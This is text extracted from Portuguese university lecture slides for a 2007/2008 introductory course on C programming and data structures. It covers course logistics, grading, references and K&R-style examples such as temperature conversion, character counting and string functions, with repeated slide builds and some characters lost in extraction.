Escolar Documentos
Profissional Documentos
Cultura Documentos
2 Semestre 2007/2008
Verso Inicial:
Verso 1:
Verso 2:
Verso 3:
Verso 4:
Verso 5:
Apresentao da Cadeira
Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.
Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.
Projecto e aulas de laboratrio: grupos de 3 alunos,
inscries a partir de quarta-feira, 27/2, s 14h, no
Fenix.
Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.
Projecto e aulas de laboratrio: grupos de 3 alunos,
inscries a partir de quarta-feira, 27/2, s 14h, no
Fenix.
Responsveis: Arlindo Oliveira, Luis Guerra e Silva.
Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.
Projecto e aulas de laboratrio: grupos de 3 alunos,
inscries a partir de quarta-feira, 27/2, s 14h, no
Fenix.
Responsveis: Arlindo Oliveira, Luis Guerra e Silva.
Docentes: Vasco Manquinho, Rita Santos, Fernando
Correia.
IAED 2007/2008 p.6/569
Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.
Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.
Avaliao contnua (C): mdia dos 3 exerccios nas
aulas de laboratrio.
Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.
Avaliao contnua (C): mdia dos 3 exerccios nas
aulas de laboratrio.
Nota final = 50% T + 40% P + 10% C
Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.
Avaliao contnua (C): mdia dos 3 exerccios nas
aulas de laboratrio.
Nota final = 50% T + 40% P + 10% C
Nota final (trab. estudante) = 55% T + 45% P
Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.
Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.
B. Kerninghan, D. Ritchie, The C Programming
Language, 2nd edition, Prentice Hall, 1988.
Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.
B. Kerninghan, D. Ritchie, The C Programming
Language, 2nd edition, Prentice Hall, 1988.
Thomas H. Cormen, Charles E. Leiserson, Ronald L.
Rivest, Clifford Stein, Introduction to Algoritms
Second Edition, The MIT Press.
Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.
B. Kerninghan, D. Ritchie, The C Programming
Language, 2nd edition, Prentice Hall, 1988.
Thomas H. Cormen, Charles E. Leiserson, Ronald L.
Rivest, Clifford Stein, Introduction to Algoritms
Second Edition, The MIT Press.
Luis Damas, Linguagem C, FCA Editora Informtica.
A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.
A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.
Linguagem de alto nvel, mas que permite acesso de
baixo nvel a memria e dispositivos.
A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.
Linguagem de alto nvel, mas que permite acesso de
baixo nvel a memria e dispositivos.
A maioria dos sistemas operativos actuais (Linux,
Windows, MacOS, etc) continua a ser programado em
C.
A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.
Linguagem de alto nvel, mas que permite acesso de
baixo nvel a memria e dispositivos.
A maioria dos sistemas operativos actuais (Linux,
Windows, MacOS, etc) continua a ser programado em
C.
Influenciou o desenvolvimento de diversas linguagem
como: Java, C++, C#, Perl, PHP, JavaScript, etc.
A linguagem de programao C
Um exemplo de programa em C
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo
Funes
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo
Funes
Tabelas, estruturas e ficheiros
A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo
Funes
Tabelas, estruturas e ficheiros
Ponteiros e memria dinmica
Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.
Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.
Aplicaes de rvores: rvores de procura binria;
insero e remoo de elementos em rvores; noo
de rvore equilibrada. rvores red-black.
Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.
Aplicaes de rvores: rvores de procura binria;
insero e remoo de elementos em rvores; noo
de rvore equilibrada. rvores red-black.
Tabela de disperso.
Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.
Aplicaes de rvores: rvores de procura binria;
insero e remoo de elementos em rvores; noo
de rvore equilibrada. rvores red-black.
Tabela de disperso.
Grafos: introduo.
Algoritmos
Taxa de crescimento de funes e notao
assimpttica.
Algoritmos
Taxa de crescimento de funes e notao
assimpttica.
Algoritmos de procura (em arrays).
Algoritmos
Taxa de crescimento de funes e notao
assimpttica.
Algoritmos de procura (em arrays).
Algoritmos de ordenao (em arrays): SelectionSort,
InsertionSort, MergeSort, HeapSort, QuickSort e
ShellSort.
Parte I
K&R Cap. 1
hello, world
#include <stdio.h>
main ()
{
printf("hello, world\n");
}
hello, world
#include <stdio.h>
main()
{
printf("hello, world\n");
}
hello, world
#include <stdio.h>
main ()
{
printf("hello, world\n");
}
Funo main
Nome funo pode ser qualquer
Todos os programas tm uma funo main
Funo main primeira a ser executada
Funes podem ser definidas mltiplos ficheiros
hello, world
#include <stdio.h>
main ()
{
printf("hello, world\n");
}
hello, world
#include <stdio.h>
main ()
{
printf("hello, world\n");
}
Instrues associadas
funo entre chavetas
hello, world
#include <stdio.h>
main ()
{
printf("hello, world\n");
}
hello, world
#include <stdio.h>
main ()
{
printf("hello, world\n");
}
Converso de temperaturas
Construir programa que converte temperaturas da escala
Fahrenheit para escala Celsius
0
-17
20
-6
40
60
15
80
26
...
260
126
280
137
300
148
Converso de temperaturas
Desenvolvimento do algoritmo
Converso de temperaturas
Desenvolvimento do algoritmo
Converso de temperaturas
Algoritmo:
Limite inferior 0
Limite superior 300
Passo 20
Fahrenheit limite inferior
Enquanto temperatura for inferior limite superior
Converte temperatura para graus Celsius
Escreve linha da tabela
Aumenta valor temperatura Fahrenheit
Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
{
int fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}
IAED 2007/2008 p.23/569
Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
{
int fahr, celsius;
int inferior, superior, passo;
}
Comentrios
Texto entre /* e */
Converso de temperaturas
main ()
{
int fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
Declarao de variveis
Tipos bsicos: char, short, long e double.
Tipos complexos: estruturas, unies, tabelas, ponteiros
para tipos mais simples e funes
IAED 2007/2008 p.25/569
Converso de temperaturas
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
Converso de temperaturas
fahr=inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}
Ciclo while
Sintaxe: while ( <expresso>
) <. instruc
ao \verb>+
Indentao ajuda a perceber estrutura programa
Erro frequente:
while (i >= 0);
i = i-1;
Converso de temperaturas
fahr = inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}
Diviso inteira
Diviso entre inteiros diviso inteira
5/9 0
Converso de temperaturas
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}
Melhorar formatao
printf("%3d%6d\n", fahr, celsius);
Problema: 0o F so -17,8o C e no -17o C
Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
{
float fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior) {
celsius = (5.0/9.0) * (fahr-32);
printf("%3.0f %6.1f\n", fahr, celsius);
fahr = fahr + passo;
}
}
IAED 2007/2008 p.30/569
Converso de temperaturas
Principais diferenas:
float fahr, celsius;
celsius = (5.0/9.0) * (fahr-32);
printf("%3.0f %6.1f\n", fahr, celsius);
Outras converses:
%o inteiros em notao octal
%x inteiros em notao hexadecimal
%c caracter
%s string
%% caracter %
Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius
fahr = 0,20,...,300 */
main ()
{
float fahr;
for (fahr = 0; fahr <= 300; fahr = fahr + 20)
printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));
}
Converso de temperaturas
Constantes simblicas
M prtica utilizar valores explcitos (0, 20, 300)
Alternativa: utilizao de constantes usando define
#define <nome> <texto>
Converso de temperaturas
#include <stdio.h>
#define SUPERIOR 300
#define INFERIOR 0
#define PASSO 20
/* Escreve tabela de convers
ao Fahrenheit-Celsius
fahr = 0,20,...,300 */
main ()
{
float fahr;
for (fahr = INFERIOR; fahr <= SUPERIOR; fahr = fahr + PASSO)
printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));
}
Leitura e escrita
Text stream sequncia de caracteres dividida em
linhas
Cada linha contm 0 ou mais caracteres e acaba com
newline
Funo getchar: l o prximo caracter da text stream
Funo putchar: recebe um inteiro como argumento e
escreve o caracter que tem como cdigo o inteiro
Cpia de ficheiros
Algoritmo:
L um caracter
Enquanto resultado de ler caracter no for
indicador do fim do ficheiro
Escreve caracter
L prximo caracter
Cpia de ficheiros
#include <stdio.h>
/* Copia input para output */
main ()
{
int c;
c = getchar();
while (c != EOF){
putchar(c);
c = getchar();
}
}
!= significa diferente
Porqu int c?
Constante EOF
Cpia de ficheiros
Atribuio retorna valor atribudo!
#include <stdio.h>
/* Copia input para output (Variac
ao)*/
main ()
{
int c;
while ((c = getchar()) != EOF)
putchar(c);
}
Contagem de caracteres
Algoritmo:
Inicializa contador a 0
Enquanto o resultado de ler um caracter no for
indicador do fim do ficheiro
Incrementa contador
Escreve contador
Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
{
long contador;
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
}
Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
{
long contador;
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
}
Contagem de caracteres
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
}
Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
{
double contador;
for(contador = 0; getchar() != EOF; ++contador)
;
printf("%.0f\n", contador);
}
Contagem de linhas
Algoritmo:
Inicializa contador a 0
Enquanto o resultado de ler um caracter no for
indicador do fim do ficheiro
Se caracter lido for fim de linha ento
Incrementa contador
Escreve contador
Contagem de linhas
#include <stdio.h>
/* conta linhas no ficheiro de entrada */
main ()
{
int caracter, contador;
contador = 0;
while ((caracter = getchar()) != EOF)
if (caracter == \n)
++contador;
printf("%d\n",contador);
}
Contagem de linhas
#include <stdio.h>
/* conta linhas no ficheiro de entrada */
main ()
{
int caracter, contador;
contador = 0;
while ((caracter = getchar()) != EOF)
if (caracter == \n)
++contador;
printf("%d\n",contador);
}
Teste de igualdade ==
Caracter mudana de linha \n
IAED 2007/2008 p.46/569
Contagem de palavras
Contagem de palavras
Contagem de palavras
Algoritmo:
Estado toma valor FORA
Inicializa contador letras, palavras e linhas
Enquanto resultado de ler caracter no for
indicador de fim do ficheiro
Incrementa contador letras
Se caracter lido for nova linha ento
Incrementa contador linhas
Se caracter lido for espao ou
nova linha ou tabulao ento
Estado toma valor FORA
Caso contrrio se estado FORA ento
Estado passa a DENTRO
Incrementa contador palavras
Escreve contadores
IAED 2007/2008 p.47/569
Contagem de palavras
#include <stdio.h>
#define DENTRO 1 /* Dentro de uma palavra*/
#define FORA 0 /* Fora de uma palavra */
/* conta linhas, palavras e caracteres no ficheiro de entrada */
main ()
{
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF) {
++nc;
if (c == \n)
++nl;
if (c == || c == \n || c == \t)
(cont)
IAED 2007/2008 p.48/569
Contagem de palavras
main ()
{
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF) {
++nc;
if (c == \n)
++nl;
if (c == || c == \n || c == \t)
estado = FORA;
else if (estado == FORA) {
estado = DENTRO;
++np;
}
}
printf("%d %d %d\n", nl, np, nc);
}
IAED 2007/2008 p.49/569
Contagem de palavras
main ()
{
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF) {
++nc;
if (c == \n)
++nl;
Atribuio mltipla
Equivale a (nl = (np = (nc = 0)));
Contagem de palavras
if (c == || c == \n || c == \t)
estado = FORA;
else if (estado == FORA) {
estado = DENTRO;
++np;
}
}
Contagem de palavras
if (c == || c == \n || c == \t)
estado = FORA;
else if (estado == FORA) {
estado = DENTRO;
++np;
}
Instruo if-then-else
Sintaxe:
if (express
ao)
o1
instruc
a
o2
else instruc
a
Tabelas
Programa que conta ocorrncias de dgitos, espaos e de
outros caracteres
Algoritmo:
Inicializa contadores dgitos, brancos e outros
Enquanto resultado de ler caracter no for
indicador de fim do ficheiro
Se caracter lido dgito ento
Incrementa contador de dgito
correspondente
Seno, se caracter lido branco ento
Incrementa contador de brancos
Seno, incrementa contador de outros
Escreve contadores
IAED 2007/2008 p.53/569
Tabelas
#include <stdio.h>
/* conta d
gitos, espac
os em branco e outros caracteres */
main ()
{
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
while ((c = getchar()) != EOF)
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;
(cont.)
IAED 2007/2008 p.54/569
Tabelas
main ()
{
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
while ((c = getchar()) != EOF)
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;
printf("d
gitos =");
for (i = 0; i < 10; ++i)
printf("%d", ndigitos[i]);
printf(", espac
os brancos = %d, outros = %d\n", nbrancos, noutros);
}
IAED 2007/2008 p.55/569
Tabelas
#include <stdio.h>
/* conta d
gitos, espac
os em branco e outros caracteres */
main ()
{
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
Declarao de tabelas
Varivel ndigitos tabela de 10 inteiros
ndigitos[0], ndigitos[1],. . . , ndigitos[9]
Tabelas
while ((c = getchar()) != EOF)
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;
Tabelas
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;
ifs encadeados
if (condio1)
instruo1
else if (condio2)
instruo2
...
else instruon
IAED 2007/2008 p.58/569
Tabelas
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;
Funes
#include <stdio.h>
int potencia(int m, int n);
/* teste func
ao potencia */
main ()
{
int i;
for (i = 0; i < 10; ++i)
printf("%d %d %d\n", i, potencia(2,i), potencia(-3,i));
return 0;
}
/* potencia: levanta base `
a n-esima potencia; n >= 0 */
int potencia (int base, int n)
(cont.)
IAED 2007/2008 p.60/569
Funes
/* potencia: levanta base `
a n-esima potencia; n >= 0 */
int potencia (int base, int n)
{
int i, p;
p = 1;
for (i = 1; i <= n; ++i)
p = p * base;
return p;
}
Funes
int potencia (int base, int n)
{
int i, p;
p = 1;
for (i = 1; i <= n; ++i)
p = p * base;
return p;
}
Funes
#include <stdio.h>
int potencia(int m, int n);
/* teste func
ao potencia */
main ()
{
int i;
Prottipos de funes
Especificao dos tipos dos argumentos e do tipo do
valor a retornar
Podia ser int potencia(int, int);
Tabelas de caracteres
Programa que l linhas de texto e imprime a maior das
linhas
Algoritmo:
Enquanto houver linhas para ler
Se a linha lida maior que a anterior maior linha
Guarda a linha
Guarda o comprimento da linha
Imprime a maior linha
Tabelas de caracteres
#include <stdio.h>
#define MAXLINHA 1000
int lelinha(char linha[], int maxlinha);
void copia(char to[], char from[]);
/* Imprime a maior linha do ficheiro de entrada */
main ()
{
int comprimento;
int max;
char linha[MAXLINHA];
char maiscomprida[MAXLINHA];
max = 0;
(cont.)
Tabelas de caracteres
main ()
{
int comprimento;
int max;
char linha[MAXLINHA];
char maiscomprida[MAXLINHA];
max = 0;
while ((comprimento = lelinha(linha, MAXLINHA)) > 0)
if (comprimento > max) {
max = comprimento;
copia(maiscomprida, linha);
}
if (max > 0)
printf("%s", maiscomprida);
return 0;
}
(cont.)
IAED 2007/2008 p.68/569
Tabelas de caracteres
/* lelinha: l
e linha para s, retorna comprimento */
int lelinha(char s[], int lim)
{
int c, i;
for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=\n; ++i)
s[i] = c;
if (c == \n){
s[i] = c;
++i;
}
s[i] = \0;
return i;
}
(cont.)
Tabelas de caracteres
/* copia: copia origem para destino; assume tamanho suficiente */
void copia(char destino[], char origem[])
{
int i;
i = 0;
while ((destino[i] = origem[i]) != \0)
++i;
}
Tabelas de caracteres
/* lelinha: l
e linha para s, retorna comprimento */
int lelinha(char s[], int lim)
{
int c, i;
for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=\n; ++i)
Tabelas de caracteres
s[i] = c;
if (c == \n){
s[i] = c;
++i;
}
s[i] = \0;
return i;
}
Variveis externas
Variveis de funes so locais s funes
Varivel local de uma funo existe apenas quando
funo chamada
Varivel local destruida quando funo acaba de ser
executada
Varivel local automtica
Variveis estticas retm o valor entre chamadas
Variveis externas
Varivel externa definida fora de qualquer funo
Varivel externa precisa ser declarada por cada funo
que a utilize (instruo extern) se no tiver sido
definida anteriormente no ficheiro
Variveis externas so acessveis a partir de todas
funes
Variveis externas
#include <stdio.h>
#define MAXLINHA 1000
int maximo;
/* maior tamanho encontrado at
e agora */
char maiscomprida[MAXLINHA];
/* maior linha encontrada at
e agora */
char linha[MAXLINHA];
/* linha a ser tratada */
int lelinha(void);
void copia(void);
(cont.)
Variveis externas
/* imprime a maior linha do ficheiro de entrada. Vers
ao especializada */
main ()
{
int comprimento;
extern int maximo;
extern char maiscomprida[];
maximo = 0;
while ((comprimento = lelinha()) > 0)
if (comprimento > maximo) {
maximo = comprimento;
copia();
}
if (maximo > 0) /* houve uma linha */
printf("%s", maiscomprida);
return 0;
}
(cont.)
IAED 2007/2008 p.76/569
Variveis externas
/* lelinha: vers
ao especializada */
int lelinha(void)
{
int c, i;
extern char linha[];
for (i = 0; i < MAXLINHA -1 && (c=getchar()) != EOF && c != \n; ++i)
linha[i]=c;
if (c == \n) {
linha[i] = c;
++i;
}
linha[i] = \0;
return i;
}
(cont.)
Variveis externas
/* copia: vers
ao especializada */
void copia(void)
{
int i;
extern char linha[], maiscomprida[];
i = 0;
while ((maiscomprida[i] = linha[i]) != \0)
++i;
}
Variveis externas
#define MAXLINHA 1000
int maximo;
/* maior tamanho encontrado at
e agora */
char maiscomprida[MAXLINHA];
/* maior linha encontrada at
e agora */
char linha[MAXLINHA];
/* linha a ser tratada */
Variveis externas
main ()
{
int comprimento;
extern int maximo;
extern char maiscomprida[];
Parte II
K&R Cap. 2
Elementos da linguagem
Identificadores
Tipos
Constantes
Declaraes
Operadores aritmticos, lgicos e relacionais
Converses de tipos
Operadores incrementar e decrementar
Operaes de bits
Operaes de atribuio e expresses
Expresses condicionais
Precedncia e ordem de avaliao
IAED 2007/2008 p.82/569
Identificadores
Sequncias de letras, underscore, ou dgitos
Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas
Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas
Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas
Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas
Tipos de dados
char, int, float, double
Tipos de dados
char, int, float, double
short int (short), long int (long)
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)
Constantes
int: 1234
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Constantes
Valor de 0XFUL?
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Constantes
char so inteiros
0 representa 48 (entrada 48 tabela ASCII 0)
alerta (bell)
\b
backspace
\c
formfeed
\n
newline
\r
carriage return
\t
tabulao horizontal
\v
tabulao vertical
\\
barra
\?
ponto de interrogao
plica
\"
aspas
\000
nmero octal
\xhh
nmero hexadecimal
Constantes
"Uma string"
"Outra " "string"
"" /* ainda outra string */
Representao interna da string "Ola": O, l,
a, \0
Constantes
/* strlen: retorna comprimento de
uma string */
int strlen(char s[])
{
int i;
i = 0;
while (s[i] != \0)
++i;
return i;
}
Constantes
Constantes de tipos enumerados
Tipo enumerado definido por sequncia de constantes
enum boolean { NAO, SIM }
Constantes
Constantes enumeradas definidas em sequncia tm
valores seguidos
enum meses { JAN = 1, FEV, MAR,
ABR, MAI, JUN, JUL,
AGO, SET, OUT, NOV, DEZ}
/* FEV vale 2, MAR vale 3, etc. */
Constantes
Associao de valores com constantes: constantes
enumeradas face a #define
Gerao automatizada de valores :)
Podem-se declarar variveis :)
Compiladores podem no verificar valores guardados :(
Pode haver compiladores que verifiquem :)
Debuggers podem escrever valores na
forma simblica :)
Declaraes
Declaraes de variveis
Declaraes precedem utilizao
Declarao especifica tipo e lista variveis
int superior, inferior, passo;
char c, linha[1000];
Alternativa:
int superior;
int inferior;
int passo;
char c;
char linha[1000];
Declaraes
Inicializao de variveis externas e estticas:
<tipo> <varivel> = < expresso constante >;
Caso de omisso: valor 0
Inicializao variveis automticas:
<tipo> <varivel> = < expresso >;
Caso de omisso: valor indefinido
Declaraes
Declaraes de constantes
const pode anteceder qualquer declarao
Operadores aritmticos
+, -, *, / e %
Converso de tipos
Argumentos de operadores de diferentes tipos
provocam transformao de tipos dos argumentos
Algumas converses automticas: de representaes
estreitas para representaes mais largas sem se
perder informao.
Ex: converso de int para float em f + i
char inteiro pequeno e podem-se fazer contas
Converso de tipos
/* atoi: converte string num inteiro */
int atoi(char s[])
{
int i,n;
n = 0;
for (i=0; s[i]>=0 && s[i]<=9; ++i)
n = 10 * n + (s[i] - 0);
return n;
}
Converso de tipos
